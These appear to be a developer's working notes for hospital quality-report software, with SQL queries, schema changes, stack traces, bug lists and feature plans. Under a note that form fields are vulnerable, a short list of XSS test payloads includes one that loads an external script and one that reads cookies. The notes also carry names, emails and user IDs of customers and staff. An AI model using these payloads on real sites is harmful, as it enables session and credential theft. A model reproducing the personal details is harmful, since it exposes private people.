insert into c5_validation_mapping values ('Nierentransplantation','5-555.71',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.8',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.x',2017);
insert into c5_validation_mapping values ('Nierentransplantation','5-555.y',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.0',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.00',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.02',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.2',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.24',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.25',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.26',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.27',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.3',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.30',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.32',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.4',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.40',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.42',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.5',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.50',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.52',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.6',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.x',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','5-411.y',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.0',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.00',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.03',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.2',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.24',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.25',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.26',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.27',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.3',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.30',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.32',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.4',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.40',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.42',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.5',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.50',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.52',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.6',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.60',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.62',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.7',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.x',2017);
insert into c5_validation_mapping values ('Stammzelltransplantation','8-805.y',2017);
INSERT INTO c5_validation_mapping
SELECT 'Komplexe Eingriffe am Organsystem Ösophagus', identifier, 2017
FROM listentry
WHERE (identifier ~ '5-426\.0.+' OR identifier ~ '5-426\.1.+' OR identifier ~ '5-426\.2.+' OR identifier ~ '5-426\.x.+' OR identifier ~ '5-427\.0.+' OR identifier ~ '5-427\.1.+' OR identifier ~ '5-438\.0.+' OR identifier ~ '5-438\.1.+' OR identifier ~ '5-438\.x.+') AND type = 249;
INSERT INTO c5_validation_mapping
SELECT 'Kniegelenk-Totalendoprothesen', identifier, 2017
FROM listentry
WHERE (identifier ~ '5-822\.9.+' OR identifier ~ '5-822\.g.+' OR identifier ~ '5-822\.h.+' OR identifier ~ '5-822\.j.+' OR identifier ~ '5-822\.k.+') AND type = 249;
Fachabteilungskorrektur
-> Harte Prüfung beim XML-Export? Ist nicht ratsam, das "Problem" mit ungenauen Angaben betrifft weniger als 1% der Kliniken
-> Rechnungskorrektur? -> Invoice Total erhöhen und Left to pay setzen
Regeln:
S72.02 z.B. also Kodes mit .XX ausblenden
XML-Export -> IDs der Auswahllisten ggf. aktualisieren
Rules ->
Aktuell keine sichtbare Rückmeldung nach erfolgreicher Ausführung [ausser Logfile unten] -> h:messages ergänzen mit einer Meldung mit Datum und Anzahl der Regeln ...
Vorschau ist top, aber vom Wording/der Anzeige noch etwas misverständlich -> Hatte z.B. H93.1 mit 10 angeben, dann ist in der Vorschau "Anzahl der Kodes" 10, es sind ja eher 1 Kode und die Summe der Fallzahlen ist 10
->Aktuell werden keine Kodes verschoben bzw. kommen in der Zielabteilung an, versuche das zu fixen
Alpha Testergebnisse
A-8 Element <Akademische_Lehre> Akademische_Lehre_Wissenschaftliche_Taetigkeit 1 ... n, kann ohne Angabe freigegeben werden. ähnlich C-6
*HTML Vorschau/Export
*Inhaltsverzeichnis fehlt
*A-12.2.1 Verantwortliche Person könnte zu einem Spezialfall umgewandelt werden "entspricht den Angaben zum Qualitätsmanagement" -> durch Person ersetzen
*A-12.2.2 Lenkungsgremium "ja – wie Arbeitsgruppe Qualitätsmanagement" -> ersetzen
*
*
Grünauer Tests
Top 1: Problem tritt nur bei sehr seltsamen Auflösungen auf und auch nur wenn die Höhe bei 768px oder darunter liegt, keine wirklich gute Lösung parat
Top 2: Prüfen auf Claims wäre möglich, allerdings dann nicht mehr über die pretty-config; Anzahl der zu verschiebenen Codes würde bedeuten diese Daten doppelt aus der DB zu laden;
select organization, ik, rbacroleid, rbacusername, email_adress
from organization_hospital
join rbacuser on organization = organizationid
where email_adress ilike '%mende%'
order by ik
fertige IKs:
select * from (select h.hospitalid, h.ik, h.call_number,
11 * count(d.departmentid) + 20 as d_count,
(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14) as f_count_1,
(select count(formularid) from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state >3) as f_count_2,
(select 100*count(formularid)/(11 * count(d.departmentid) + 20) from formular where hospitalid = h.hospitalid and qb_year_flag = 14 and state>3) as perc
from hospital h, department d
where d.qb_year_flag = 14
and (h.hospitalid = d.hospitalid or not exists (select departmentid from department where hospitalid = h.hospitalid))
and h.hospitalid in (select hospitalid from organization_hospital where organizationid != 3)
and h.hospitalid not in (select hospitalid from hospital where ik like '999%')
and h.hospitalid not in (select hospitalid from filelog where filename ilike '%xml%')
group by h.hospitalid, h.ik, h.call_number
order by perc desc, ik asc) t where perc = 100
ik zur organization hinzufügen:
*INSERT INTO organization_hospital (organizationid, hospitalid, ik) (
*SELECT ORGANIZATIONID, hospitalid, ik
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*INSERT INTO organization_hospital (organizationid, hospitalid, ik) (
*SELECT 3, hospitalid, ik
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*INSERT INTO hospital_user_relation (hospitalid, rbacuserid, position) (
*SELECT hospitalid, RBACUSERID, 0
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*
offene rechnungen die nicht rechtzeitig bezahlt wurden
select o.organizationid, rechnung_nummer, invoice_total, r.email_adress,
TIMESTAMP WITH TIME ZONE 'epoch' + max(last_login/1000) * INTERVAL '1 second' as last_login,
(TIMESTAMP WITH TIME ZONE 'epoch' + max(order_stamp/1000) * INTERVAL '1 second') as ordered
from organization as o
left join rbacuser as r on organizationid = organization
where order_stamp < (extract(epoch from now()) * 1000 - 1209600000)
and code_send is null
and rbacroleid = 2
group by organizationid, email_adress, last_login
order by ordered
SELECT h.ik,h.call_number FROM hospital h
JOIN organization_hospital oh USING (hospitalid)
JOIN rbacuser r ON r.organization = oh.organizationid
WHERE email_adress = 'sschroeder@sjs-bremen.de'
Info: Nutzer: Herr Matthias Blum (294790676) IK: 261200311 SO: 00
Hallo Frau Dubeuil, es ist nur ein Verwalter zulässig. Wir können für den Zeitraum Ihres Mutterschutzes die Rollen vertauschen. Sobald Sie dann wieder aus dem Mutterschutz zurück sind können Sie sich wieder bei uns melden und wir ändern die Rollen wieder zurück.
G
Gast 15:24ja, das wäre super. Beginnend am 12.8.18 sollten die Rollen bis zum 1.9.19 getauscht werden
[2018-08-02T07:50:43.150+0200] [glassfish 4.1] [SEVERE] [] [export.ExportBean] [tid: _ThreadID=36 _ThreadName=http-listener-1(3)] [timeMillis: 1533189043150] [levelValue: 1000] [[
java.lang.NullPointerException
at org.docx4j.toc.TocStyles.getStyleIdForName(TocStyles.java:179)
at org.docx4j.toc.TocStyles.<init>(TocStyles.java:130)
at org.docx4j.toc.TocGenerator.getTocStyles(TocGenerator.java:128)
at org.docx4j.toc.TocGenerator.<init>(TocGenerator.java:118)
at util.DOCXUtil.createToc(DOCXUtil.java:169)
at export.ExportBean.manipulateDocx(ExportBean.java:739)
at export.ExportBean.convertAdocToDocx(ExportBean.java:259)
at export.ExportBean.generateDepartmentPdf(ExportBean.java:223)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at javax.el.ELUtil.invokeMethod(ELUtil.java:332)
at javax.el.BeanELResolver.invoke(BeanELResolver.java:537)
at javax.el.CompositeELResolver.invoke(CompositeELResolver.java:256)
at com.sun.el.parser.AstValue.getValue(AstValue.java:136)
at com.sun.el.parser.AstValue.getValue(AstValue.java:204)
at com.sun.el.ValueExpressionImpl.getValue(ValueExpressionImpl.java:226)
at org.jboss.weld.el.WeldValueExpression.getValue(WeldValueExpression.java:50)
at com.sun.faces.facelets.el.TagValueExpression.getValue(TagValueExpression.java:109)
at org.primefaces.component.filedownload.FileDownloadActionListener.processAction(FileDownloadActionListener.java:55)
at javax.faces.event.ActionEvent.processListener(ActionEvent.java:88)
at javax.faces.component.UIComponentBase.broadcast(UIComponentBase.java:814)
at javax.faces.component.UICommand.broadcast(UICommand.java:300)
at javax.faces.component.UIData.broadcast(UIData.java:1108)
at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:790)
at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1282)
at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:81)
at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101)
at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:198)
at javax.faces.webapp.FacesServlet.service(FacesServlet.java:658)
at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1682)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:344)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214)
at org.primefaces.webapp.filter.FileUploadFilter.doFilter(FileUploadFilter.java:100)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:256)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214)
at com.ocpsoft.pretty.PrettyFilter.doFilter(PrettyFilter.java:145)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:256)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:214)
at org.apache.catalina.core.ApplicationDispatcher.doInvoke(ApplicationDispatcher.java:873)
*java.lang.NullPointerException
* at users.RbacUserFacade.saveUserData(RbacUserFacade.java:288)
* at users.UsersBean.onUserEdit(UsersBean.java:129)
*Gefixed, trat bei Änderungen von einem Verwalter auf
*
*https://hosting.1und1.de/terms-gtc/terms-privacy/
*-> Denke unseren Text zur DSGVO muss man noch etwas aufbohren ...
*
*not found: I(AM17) T(170)
*Problem bei B-8 -> AM17 Schlüssel (mindestens) wurde mit Beschreibung AM17 importiert ... Update in der Datenbank erforderlich ...
*
*nach hospitalchange funktioniert beim 1. mal die Vorschau nicht
*drucken: $(...).printThis is not a function -> gefixt??
*
*XML-Exporte durchführen für alle KH, die bei 100% stehen (ca. 10 aktuell)
*4003003;"260310265";"00";31;31;31;100 -> Export hat im PDF 1 Warnung (A-4), wird aber nicht in der Export-Maske angezeigt ... Auch kein Symbol ... Kann XML bei Fehler def. nicht heruntergeladen werden?
*Oder sollte man das mit confirm() erlauben? Ihr Export enthält X,Y,Z. Wollen Sie diesen wirklich herunterladen? Bitte beachten Sie die Hinweise in der PDF-Protokolldatei ...
*Bearbeitet?
*
*Prüfen bzgl. Vollständigkeit / 24h-Verfügbarkeit: A-13 Ich kann es nicht reproduzieren
*cvc-complex-type.2.4.a: Ungültiger Content wurde beginnend mit Element 'Erlaeuterungen' gefunden. '{Notfallverfuegbarkeit_24h}' wird erwartet.
*cvc-complex-type.2.4.a: Ungültiger Content wurde beginnend mit Element 'Erlaeuterungen' gefunden. '{Notfallverfuegbarkeit_24h}' wird erwartet.
*Prüfen bzgl. Vollständigkeit A-12:
*cvc-complex-type.2.4.b: Content des Elements 'Hygienebeauftragte_Aerzte' ist nicht vollständig. '{Erlaeuterungen}' wird erwartet.
*
*Ist eine Intensivstation vorhanden?26,6 Das sollte seit 20a5b52a48d7e9706294b71a215eea9c40a979ec (07.05.) nicht mehr möglich sein mit XML-Import
*
*Die Erfassung des Händedesinfektionsmittelverbrauchs erfolgt auch stationsbezogen? -> Sollte glaube ich immer vorhanden sein, ist es zZ aber nur wenn entweder Allgemein oder Intensiv auf Ja ist (was ja auch sinnvoller wäre).
*Ja, das macht Sinn und wird so weiter bleiben
*Plausi-Prüfung der GFL = < 52 oder > 208, Warnung integrieren? ?
*Bearbeitet?
*
*A11.1
*Belegärzte -> Im Gesamtbericht kann die (Gesamt-)Summe der Belegärzte != Summe der Belegärzte der Standorte sein ...
*evtl. muss man das Feld (wieder) änderbar machen ...
*Bearbeitet?
*
*mögliche Problem mit Datenübernahme und alten Werten? Beschränkung auf 150 Zeichen ... Könnte natürlich vorkommen, aber nur dann wenn dort vorher schon nicht sinnvolle Werte angegeben waren
*Kontakt_Person_lang
*cvc-maxLength-valid: Wert 'Max Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw.' mit Länge = '347' ist nicht Facet-gültig in Bezug auf maxLength '150' für Typ 'char_max150'.
*cvc-type.3.1.3: Wert 'Max Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw. Test auf super langen Namen usw. usw. usw.' des Elements 'Vorname' ist ungültig.
*Kann man das mal prüfen? Ob da Probleme in der Datenbank "lauern"?
*
*A-4 Validierung anpassen, im Falle von inaktiv (trifft nicht zu) sollte keine Validierung stattfinden
Anleitung anpassen:
Im Formular vorhanden, fehlt noch in der Anleitung : bei einem PDF-, DOCX- oder XML-Export durchgeführt.
Vorschau sollte noch hinzugefügt werden
Hatte beim Export / Vorschau NICHT gesehen, dass dort eine Gesamt-(Gesamt-)Summe ausgewiesen wird!
Faq anpassen
"260571454" gemeindepsychatrisches ... A 11.1 Ärzte ohne Fachabteilungen freigegeben trotz keiner Angabe -> mit nächstem Update nicht mehr möglich
Mail senden an neuen Nutzer wenn im Progamm angelegt? (Missbrauch von Mailadressen verhindern)
automatisierte Angebotserstellung im Programm, für uns zum leichteren Erstellen von Angeboten, evtl. Verwalter unverbindliches Angebot selbst erstellen? -> QB2018
Rechnung -> Prüfen ob Fachabteilungszahl >= Standortzahl
Formularfelder sind anfällig für XSS, ggf Filter installieren?
*<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
*<a onmouseover="alert(document.cookie)">xxs link</a>
*<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
*<IMG SRC=# onmouseover="alert('xxs')">
*<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
*<img src=x onerror="javascript:alert('XSS')"
In Kürze: Strip any HTML tag
§21-Import Herr Haberkorn ...
Der Export enthält 1 Warnungen und 0 Fehler.
->
Bei der Prüfung der exportierten Datei ergaben sich X Hinweise, Y Warnung(en) und Z Fehler.
Text in Schwarz bei Fehlerstufe "Hinweis" <==> Y = 0 & Z = 0
Text in Schwarz bei Fehlerstufe "Hinweis" <==> Y = 0 & Z = 0
Text in Orange bei Fehlerstuft "Warnung" <==> Y > 0 & Z = 0
Text in Rot bei Fehlerstufe "Fehler" <==> Z > 0
Link zu Plausiprüfung ergänzen? Evtl. als Action zu einem "fehlerfreien" XML-Export?
create table invoice_info (
rechnung_nummer int primary key,
adress varchar,
invoice_order varchar
)
CREATE TABLE public.filelog_warnings
(
filelogid integer NOT NULL,
warnings integer,
errors integer,
CONSTRAINT filelog_warnings_pkey PRIMARY KEY (filelogid),
CONSTRAINT filelog_warnings_filelogid_fkey FOREIGN KEY (filelogid)
REFERENCES public.filelog (filelogid) MATCH SIMPLE
ON UPDATE NO ACTION ON DELETE NO ACTION
)
alter table filelog_warnings add column hints int
ALTER TABLE public.custom_style_options
ADD COLUMN force boolean DEFAULT false;
CREATE TABLE public.captcha_whitelist
(
ip character varying NOT NULL,
rbacuserid bigint NOT NULL,
count integer NOT NULL DEFAULT 0,
CONSTRAINT pk_captcha_whitelist PRIMARY KEY (ip, rbacuserid)
)
WITH (
OIDS=FALSE
);
ALTER TABLE public.captcha_whitelist
OWNER TO postgres;
A-11 state > 2 vor automatischer Berechnung, Prüfung 15.8. nochmals?:
*294901507;3037;;1917;1528355282449;f;3;"Stefanie Schmidt";14;;;;f;"488dc818-f746-40f8-bb54-60aa567e968d"
*294899560;4003828;;1917;1528722657540;f;3;"Stefan Richter";14;;;;f;"450ea41f-5e5f-4420-a5e5-7cfe37908ceb"
*294902254;169576397;;1917;1528280374573;f;3;"Ilse Franz-Mancuso";14;;;;f;"273cd746-f2c9-4488-a064-37bb0bc9967a"
*294905305;4002872;;1917;1529594320163;f;4;"Anke Pethig";14;;;;f;"55d2ca5a-0e54-484b-a694-9a81bceabc92"
*294905338;213963591;;1917;1529583947157;f;4;"Anke Pethig";14;;;;f;"76a99916-51d6-4866-ab0c-6369ff9d9eca"
*294905361;213963600;;1917;1529941060206;f;4;"Anke Pethig";14;;;;f;"97ba8df4-1749-40a9-b99d-a0c3f7336bd6"
*294908660;4003474;;1917;1529411253968;f;4;"Anke Detje";14;;;;f;"0a21efe4-d72b-4436-b05f-6076b009b8ea"
*294908972;4003297;;1917;1529595049749;f;3;"Susanne Schwarz";14;;;;f;"ea5c0c20-81f7-49f2-b1b8-7a409247142d"
*294912932;4002849;;1917;1530021682074;f;3;"Inge Gausepohl";14;;;;f;"fc05439d-84a0-4764-a294-f859d018be91"
Fachabteilungskorrektur
-> Harte Prüfung beim XML-Export? Ist nicht ratsam, das "Problem" mit ungenauen Angaben betrifft weniger als 1% der Kliniken
-> Rechnungskorrektur? -> Invoice Total erhöhen und Left to pay setzen
Regeln:
S72.02 z.B. also Kodes mit .XX ausblenden
XML-Export -> IDs der Auswahllisten ggf. aktualisieren
Rules ->
Aktuell keine sichtbare Rückmeldung nach erfolgreicher Ausführung [ausser Logfile unten] -> h:messages ergänzen mit einer Meldung mit Datum und Anzahl der Regeln ...
Vorschau ist top, aber vom Wording/der Anzeige noch etwas misverständlich -> Hatte z.B. H93.1 mit 10 angeben, dann ist in der Vorschau "Anzahl der Kodes" 10, es sind ja eher 1 Kode und die Summe der Fallzahlen ist 10
->Aktuell werden keine Kodes verschoben bzw. kommen in der Zielabteilung an, versuche das zu fixen
Alpha Testergebnisse
A-8 Element <Akademische_Lehre> Akademische_Lehre_Wissenschaftliche_Taetigkeit 1 ... n, kann ohne Angabe freigegeben werden. ähnlich C-6
*HTML Vorschau/Export
*Inhaltsverzeichnis fehlt
*A-12.2.1 Verantwortliche Person könnte zu einem Spezialfall umgewandelt werden "entspricht den Angaben zum Qualitätsmanagement" -> durch Person ersetzen
*A-12.2.2 Lenkungsgremium "ja – wie Arbeitsgruppe Qualitätsmanagement" -> ersetzen
*
*
Grünauer Tests
Top 1: Problem tritt nur bei sehr seltsamen Auflösungen auf und auch nur wenn die Höhe bei 768px oder darunter liegt, keine wirklich gute Lösung parat
Top 2: Prüfen auf Claims wäre möglich, allerdings dann nicht mehr über die pretty-config; Anzahl der zu verschiebenen Codes würde bedeuten diese Daten doppelt aus der DB zu laden;
ik zur organization hinzufügen:
*INSERT INTO organization_hospital (organizationid, hospitalid, ik) (
*SELECT ORGANIZATIONID, hospitalid, ik
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*INSERT INTO organization_hospital (organizationid, hospitalid, ik) (
*SELECT 3, hospitalid, ik
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*INSERT INTO hospital_user_relation (hospitalid, rbacuserid, position) (
*SELECT hospitalid, RBACUSERID, 0
*FROM hospital
*WHERE ik = 'NEWIK'
*);
*
*
offene rechnungen die nicht rechtzeitig bezahlt wurden
select o.organizationid, rechnung_nummer, invoice_total, r.email_adress,
TIMESTAMP WITH TIME ZONE 'epoch' + max(last_login/1000) * INTERVAL '1 second' as last_login,
(TIMESTAMP WITH TIME ZONE 'epoch' + max(order_stamp/1000) * INTERVAL '1 second') as ordered
from organization as o
left join rbacuser as r on organizationid = organization
where order_stamp < (extract(epoch from now()) * 1000 - 1209600000)
and code_send is null
and rbacroleid = 2
group by organizationid, email_adress, last_login
Info: Nutzer: Herr Matthias Blum (294790676) IK: 261200311 SO: 00
Hallo Frau Dubeuil, es ist nur ein Verwalter zulässig. Wir können für den Zeitraum Ihres Mutterschutzes die Rollen vertauschen. Sobald Sie dann wieder aus dem Mutterschutz zurück sind können Sie sich wieder bei uns melden und wir ändern die Rollen wieder zurück.
G
Gast 15:24ja, das wäre super. Beginnend am 12.8.18 sollten die Rollen bis zum 1.9.19 getauscht werden
create table indiv_department_cover (
departmentid bigint primary key,
jsondata text
)
create table indiv_formular_cover (
formularid bigint primary key,
departmentid bigint,
jsondata text
)
hospitalid bigint NOT NULL,
type integer NOT NULL,
message character varying,
stamp bigint NOT NULL,
CONSTRAINT pk_dashboard_errors PRIMARY KEY (hospitalid, type),
CONSTRAINT dashboard_errors_hospitalid_fkey FOREIGN KEY (hospitalid)
REFERENCES public.hospital (hospitalid) MATCH SIMPLE
ON UPDATE CASCADE ON DELETE CASCADE
)
ENDE SQL
Wünschenswerte Features:
!!! - Anpassung bzgl. DSGVO -> Impressum Seite
! - Login per Mail
!! - Intro-Screenshow Funktionalität hinzugefügt
!! - §21 zusätzliche Confirm Meldung, falls keine Zuordnung
!! - Plausibilitätstest für vorherige Daten Grundsätzliche Funktionalität hinzugefügt, Prüfung für Personalzahlen in A-11/B-11 hinzugefügt
!! - die Formulare nicht freigeben
!! - Überschriften zu Modal hinzufügen In den Templates den entsprechenden Title hinterlegen.
Allgemein:
*-FR Dropdown für Fachabteilungen sollte mehr FA anzeigen(ohne scrollen)
- Erweiterung der Anleitung/FAQ: B6/7/9, Gesamtbericht
*!!!- Prüfen auf Anpassungsbedarf bzgl. der DSGVO, Impressum, ggf. Datenverarbeitungs-Auftragsformular
*!-FR Passwort zurücksetzen / anmelden per E-Mail
*!!-FR Integration Introscreen: Kurze Bildershow mit Hinweisen zu den gängisten Funktionen:
*- Hilfe, Chat,FAQ, Import, Standortwechsel, Fachabteilungsübersicht, §21 Import, Formular kopieren ...
*! FR Passwörter auf bcrypt ändern
*History des letzten Jahres, Zugriff auf Read-only DB
*FR Einleitung des Vorjahres importieren
*
Datenübernahme:
!! -FR die Formulare nicht freigeben
!! -FR "Plausibilitätstest" durchführen, da fehlerhafte Daten aus dem Vorjahr durchgeschleift wurden und im neuen Bericht wieder auftreten
* Hinweis für Kunden integrieren. Zumindest Hinweis auf das Formular -> Gibt es den Hinweis schon? -> Ja, im Dialog nach der Datenübernahme
*
§21-Import:
-FR Durchführung für Bearbeiter/Mitarbeiter verbieten
!!! -FR eine zusätzliche Confirm Nachricht sollte erscheinen falls keine Zuordnung vorgenommen wurde
!! -FR Verbesserung der Fehlerausgabe
Formulare:
!! -FR Serverseitige Validierungsanzeige verbessern, nach Änderung ausblenden
-FR Überprüfung der zugelassenen Anzahl Zeichen bei Text auf Umlaute oder Sonderzeichen Umlaute werden jetzt als Entity für die Länge behandelt
! -FR Einleitung: Bild automatisch verkleinern, evtl. zugelassene max. Dateigröße verkleinern (siehe H02)
-FR Locking von Formularen umsetzen?
!! -FR Überschriften zu Modal hinzufügen In den Templates den entsprechenden Title hinterlegen.
!! -FR Summe der Fallzahlen nach manuellem Import B6/7/9 (H03) -> dient maximal als Schönheitsfeature, inhaltlich keine Übernahme in A10 / B5 möglich
-FR Claims für Unterformulare aufbohren. Dafür müsste aber wohl das Formular in einzelne Formulare aufgesplittet werden
!! -FR A11: Verbesserung der Eingabe, oft Verwirrung Unterschied Formular <-> PDF
-FR Import und Export (!) der Personalzahlen
!! -BUG A-12: Teilnahmefragen mit "Nein" beantwortet, aber Schlüssel angegeben, z.B. IF oder EF
-FR B1: Reihenfolge der Ärzte sortierbar machen für PDF/RTF
!! -FR Rework B-8
-FR optionales Kommentarfeld für PDF pro Formular, evtl. auch Bilder, Organigramme
-FR Sortieren der Indikatoren in C-1 bzw. Darstellung der Ergebnisse
!! - B6/7/9 trifft nicht zu Verhalten verbessern
Freigabe im Formular
Gesamtbericht:
! -FR Merging Protokoll: Angabe der Schlüssel und Standort
!! -BUG A-12 bei einigen Schlüsseln werden die Pflichtfelder nicht markiert, z.B. IF
Konkreter Hinweis auf die automtische Erstellung des GB -> Selbstausfüllen soll vermieden werden [gab es schon mal per Javascript ...]
* -> Nutzer wird jetzt automatisch zum Assistenten geschickt wenn der 99er Standort im Step 0 ist
PDF/RTF:
-FR Spalte für "komplett", "aggregiert", "Top10" hinzufügen zu besseren Identifizierung
!!! -FR rtf -> doc
XML-Export:
! -FR Fehlerausgabe weiter verbessern
!! -FR Hinweis welche Formulare noch fehlen
* -FR Download der Dateien des letzten Jahres, falls vorhanden
- Protokoll:
-FR Fehlerausgabe mit Kapitelangabe erleichtert die Suche
! -FR "Keine OPS angegeben" Warnung nicht anzeigen falls trifft nicht zu ausgewählt wurde
Chat: (H05)
-FR Bereits eingegebenen Text, aber nicht abgesendet, bei Seitenwechsel behalten
! -FR offensichtlicher anzeigen/positionieren
-FR evtl. ein Hinweis-Bot, der immer da (z.B. falls alle MA offline sind) ist und z.B. auf das FAQ verlinkt
!! - Benachrichtungssystem für uns anpassen
!!! - Styling anpassen ???
Fachabteilungen:
! -FR Kasten Anzahl der Fachabteilungen anpassen, evtl. auf Aktivierungsseite verschieben, siehe H01 unten
- Merging? -> Welche Probleme sind aufgetreten und ggf. wieder zu erwarten? Die Frage war, ob wir ein Merging von Fachabteilungen umsetzen wollen, es geht nicht um den Gesamtbericht. Was soll das sein? Scheint mir nicht sinnvoll ...
Ausserdem gibt das der Zeitplan nicht her, muss wenn, dann ein FR bleiben
Admindashboard:(H06)
!! -FR Organisationsübersicht: Paid, Zugriff auf Nutzer/Krankenhäuser
! -FR Nutzer online (H04)
Bezahlsystem:
-FR Integration Bezahlmodul
-FR Zählung der FA/Standorte ändern. Bei der Erstellung von FA/Standorten sollte zumindest ein Hinweis auf Zusatzkosten erscheinen, ebenso eine E-Mail an uns falls schon bezahlt wurde. Nachträgliche Rechnungen/Nachzahlungen sollten wenn möglich vermieden werden.
-FR DATEV-Export der Zahlungen, bessere Übersicht im System und Verwaltbarkeit
-FR Rechnungsbetrag in DB speichern, wichtig für Statistik und Bezahlmodul
-FR Entfernen der sofortigen Aktivierung nach Bestelllung -> sinnvolle Nutzung der Paid-Flag wiederherstellen
Evaluation:
https://wekan.github.io/ -> Redmine/Ticketsystem (gähn) Alternative -> http://wekan.netfutura.de
https://rocket.chat/ -> Moderner "intelligenter" Chat
* -> https://rocket.chat/docs/administrator-guides/livechat/livechat-queues/ Es wird an einer Art Helpdesk-Funktion gearbeitet
https://about.riot.im/ // Riot / Matrix ist wohl die universellste Alternative als Chat
https://jaxenter.de/docs-as-code-65644 -> Alternative Wege zu DOC und PDF zu kommen
https://www.postgresql.org/docs/10/static/release-10-1.html -> Postgres 10.1 wohl empfehlenswert -> 100% kompatibel? -> Bisher keine Auffälligkeiten -> Abgelehnt da pgadmin3 nicht mit Sequenzen von PG10 klarkommt
https://asciidoclive.com/
https://jaxenter.de/java-9-java-ee-8-glassfish-5-62344 -> Glassfish 5, klar ... Java 9, unklar -> Java 9 sollte zurückgestellt werden, bringt keinen Vorteil aktuell, könnte aber Probleme bereiten, müsste ausgiebig getestet werden -> GF5 bringt aktuell keinen Vorteil, erst für JSF 2.3 nötig
https://ignite.apache.org/releases/2.4.0/release_notes.html -> Als Cache, Key-Value-Store, evtl. auch weiter 1.9 verwenden
https://openliberty.io/ -> OpenLiberty ist ein recht universeller ApplicationServer (stammt von WebSphere), ein Einsatz ist eher für promato QBM 3.0 sinnvoll, bei bei einem kompletten Refactoring der Anwendung, bessere Skalierbarkeit/Testbarkeit und Hot-Deployment
